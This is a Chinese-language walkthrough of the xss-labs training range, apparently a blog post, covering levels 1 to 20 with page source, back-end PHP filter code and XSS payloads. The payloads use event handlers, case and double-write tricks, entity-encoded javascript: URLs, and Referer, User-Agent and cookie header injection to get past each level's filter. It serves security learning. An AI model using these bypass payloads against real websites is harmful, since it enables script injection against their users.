XSS--labs通关记录
阅读原文时间:2023年08月14日阅读:1

XSS--labs通关记录

查看网页源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

这一关没有任何过滤,直接传递name参数即可

payload:

?name=<script>alert()</script>

查看网页源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="test">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

尝试进行XSS注入

结果发现h2标题显示尖括号进行了实体化处理,那么可以在input标签的value进行XSS闭合,将双引号和input标签进行闭合即可

payload:

"><script>alert()</script>

关键代码段

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符是:

& (和号)成为 &

" (双引号)成为 "

' (单引号)成为 '

< (小于)成为 <

> (大于)成为 >

尝试进行XSS注入时发现代码为

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和&quot;&gt;&lt;script&gt;alert()&lt;/script&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='&quot;&gt;&lt;script&gt;alert()&lt;/script&gt;'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:26</h3></body>
</html>

在代码中h2标签和input标签中的value参数内容进行了实体化处理,但value使用单引号进行闭合,那么我们尝试使用单引号进行闭合并使用标签事件进行闭合

使用onfocus事件来进行绕过,当所在标签获得焦点时,将触发该事件。

payload:

' onfocus=javascript:alert() '

注入后页面源代码中的搜索框代码成为了

<input name=keyword  value='' onfocus=javascript:alert() ''>

对搜索框尝试进行注入后,页面源代码成为

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和&lt;script&gt;alert()&lt;/script&gt;相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value="scriptalert()/script">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:20</h3></body>
</html>

由页面源代码回显结果来看,这里过滤了尖括号,并且使用双引号进行了引用。那么依然可以使用焦点onfocus进行绕过

payload:

" onfocus=javascript:alert() "

依然尝试进行注入

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和&quot; &lt;script&gt;alert() &lt;/script&gt;相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword  value="" <scr_ipt>alert() </script>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:28</h3></body>
</html>

在页面源代码种发现对关键字script进行了干扰,继续进行测试发现也对onfocus进行了干扰。

那么可以使用a标签的herf事件进行绕过,即当标签被点击时,将进行跳转,在此也可以执行JS代码

后台关键源代码

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

输入注入语句测试过滤了哪些关键字

" onfocus=javascript:alert()>"<script>alert()</script> <a href=javascript:alert()>x</a>

查看页面原代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和&quot; onfocus=javascript:alert()&gt;&quot;&lt;script&gt;alert()&lt;/script&gt; &lt;a href=javascript:alert()&gt;x&lt;/a&gt;&gt;相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword  value="" o_nfocus=javascript:alert()>"<scr_ipt>alert()</script> <a hr_ef=javascript:alert()>x</a>>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:91</h3></body>
</html>

我们可以尝试进行大小写绕过

payload:

"><sCriPt>alert()</sCriPt><"
" Onfocus=javascript:alert() "
"> <a HrEf=javascript:alert()>x</a><"

后台关键源代码

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

尝试进行注入

" onfocus=javascript:alert();> <script>alert()</script> <a href=javascript:alert()>x</a>

查看页面源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和&quot; onfocus=javascript:alert();&gt; &lt;script&gt;alert()&lt;/script&gt; &lt;a href=javascript:alert()&gt;x&lt;/a&gt;相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword  value="" focus=java:alert();> <>alert()</> <a =java:alert()>x</a>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的长度:58</h3></body>
</html>

发现代码中对关键字script、on、href进行了过滤,我们可以尝试双写进行绕过

payload:

"><scrscriptipt>alert()</scriscriptpt><"

后台关键源代码

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

其中strtolower()函数将传递过去的参数全部转换成了小写

尝试进行注入

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword  value="&quot;&gt;&lt;script&gt;alert()&lt;/script&gt; &lt;a href=javascript:alert()&gt;x&lt;/a&gt;&lt;img src=1 onerror=alert()&gt;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="&quot><scr_ipt>alert()</scr_ipt> <a hr_ef=javascr_ipt:alert()>x</a><img sr_c=1 o_nerror=alert()>">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:96</h3></body>
</html>

发现其对输入的内容进行了实体化处理,干扰了script、href、on等关键字

由于这一关使用href事件对数据进行处理,href可以自动进行unicode解码,因此可以将payload进行unicode编码后进行注入即

payload

&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c
&#x0065&#x0072&#x0074&#x0028&#x0029&#x003b

关键后台源代码

ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

这一关对输入内容进行了检测,内容必须要有http://,因此我们在payload后面加上http://并用注释符注释掉即可

payload:

&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c
&#x0065&#x0072&#x0074&#x0028&#x0029&#x003b /*http://*/

后台关键源码

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

代码中使用多个变量对参数进行多重干扰,并使用strpos()函数对最后的变量进行关键字查找。

查看网页源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和well done!相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:10</h3></body>
</html>

发现这一关只有h2标签中的内容可以使用keyword参数控制内容,对其进行XSS注入测试发现,h2中的内容对尖括号进行了实体化处理。

在form表单中还存在三个隐藏属性的输入框,由于表单中没有写明method提交方式,所以表单中的提交方式为get型,测试发现只有t_sort接受数据。对其进行注入发现过滤了尖括号

所以我们可以采用onfocus焦点事件进行绕过,由于没有输入框无法支持焦点事件的出发,因此需要将input的类型改为text类型。即

payload:

?t_sort=" onfocus=javascript:alert() type="text

查看后台关键源码

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

查看网页源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="&quot;onfocus=javascript:alert() type=&quot;text" type="hidden">
<input name="t_ref"  value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>

查看网页源代码发现表单中有4个隐藏的input标签,经过get方法传参测试,只有t_sort能够接收数据,尝试进行XSS注入发现其value将尖括号和双引号进行了实体化处理,这样导致无法闭合双引号和input标签。

在表单中t_ref看起来像是接受referer来源,对访问数据包添加referer发现能够接受数据,尝试进行注入,发现其对尖括号进行过滤

依旧使用onfocus焦点事件进行绕过

payload:

referer:" onfocus=javascript:alert() type="text

成功绕过

后台关键源代码

ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

查看网页源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ua"  value="Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36" type="hidden">
</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>

查看网页源代码发现多了对UA头的数据接收,尝试在UA头部分使用onfocus事件进行注入

payload:

User-Agent: " onfocus=javascript:alert() type="text

后台关键源代码

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>

查看页面form表单源代码

<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_cook"  value="call me maybe?" type="hidden">
</form>

其中对cookie进行了数据接收,尝试在数据包中的cookie进行注入

payload:

user=" onfocus=javascript:alert() type="text

由于这一关所需要配合上传的网站挂掉了,因此没有解

具体参考xss-labs靶场-第十四关 iframe和exif xss漏洞

查看页面源代码

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:"></span></body>

代码中的ng-include像是文件包含的功能,由于没有思路,查看后台源代码

ng-include就是文件包含功能,可以包含外部的html文件,如果包含的是地址需要加引号

后台关键源代码

<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

其中接收参数src并对src接受的数据进行实体化处理

首先对src参数进行试探性注入,查看他对哪些关键字进行了过滤

payload:

?src=<script> alert() javascript onerror <img> <input> onmouseover

发现他只进行了实体化处理,并没有过滤任何关键字

尝试让它进行文件包含,此时需要注意将注入语句使用单引号进行闭合,让其成为一个整体

尝试对包含文件传递参数进行XSS攻击,尝试使用进行弹窗发现不行,那么就要使用一些事件来触发

payload:

?src='/level1.php?name=<input value="" onfocus=javascript:alert() type=text>'
?src='/level1.php?name=<img src=1 onerror=javascript:alert()>'
?src='/level1.php?name=<img src=1 onmouseover=javascript:alert()>'
?src='/level1.php?name=<a href=javascript:alert()>x</a>'
?src='/level1.php?name=<p onmousedown=javascript:alert()>test</p>'

很多事件都可以进行使用

查看页面源代码没有思路,直接查看后台代码

后台关键源代码

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

源码中使用keyword接受参数,用strtolower将接受的字符全部转换为小写,将接受参数中的script、空格、右斜杠全部进行了实体化,可以采用不带右斜杠的img标签,空格使用回车进行绕过。回车需要使用url编码

payload:

?keyword=<img%0Asrc=1%0Aonerror=alert()>

后端源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

源代码中使用了两个参数去接受变量,并且对两个参数进行了实体化,那么就不能使用标签闭合,需要使用事件来进行绕过。

标签:

HTML 元素将外部内容嵌入文档中的指定位置。此内容由外部应用程序或其他交互式内容源(如浏览器插件)提供。

大概意思就是提供一片区域来加载外部文件。经过点击网页源码中的网址后发现下载了一个swf文件,说明这里加载的文件是一个flash动画,那么如果浏览器没有加载出来图片,就需要将flash支持开关打开,或者换一个支持flash的浏览器。

我们可以尝试通过onclick事件、onfocus事件、onmouseover事件等尝试进行绕过

payload:

?arg02= onfocus=alert()
?arg02= onmouseover=alert()

注意payload中给参赋值时候要加空格

同level 17 一致,只是换了一个swf文件

一直不明白17关以后的意义是什么,直到19关才明白,这里对传入的参数加了双引号并进行了实体化,那就不能使用事件了。只能对网页中的swf文件进行反编译分析,找出里面的漏洞,然后再进行注入,由于flash再很多浏览器中已经不支持了,官方在2020年宣布停止对flash的更新了,并且反编译太复杂了,能力有限,所以放弃了

payload:

?arg01=version&arg02=<a href="javascript:alert(1)">123</a>

至于payload为何要构造成这种,需要进行反编译分析源码

payload:

?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123

以上内容仅作学习参考,如有错误或瑕疵,还希望各位师傅们斧正。感谢阅读

XSS常见的触发标签

XSS总结

xss-labs靶场实战全通关详细过程(xss靶场详解)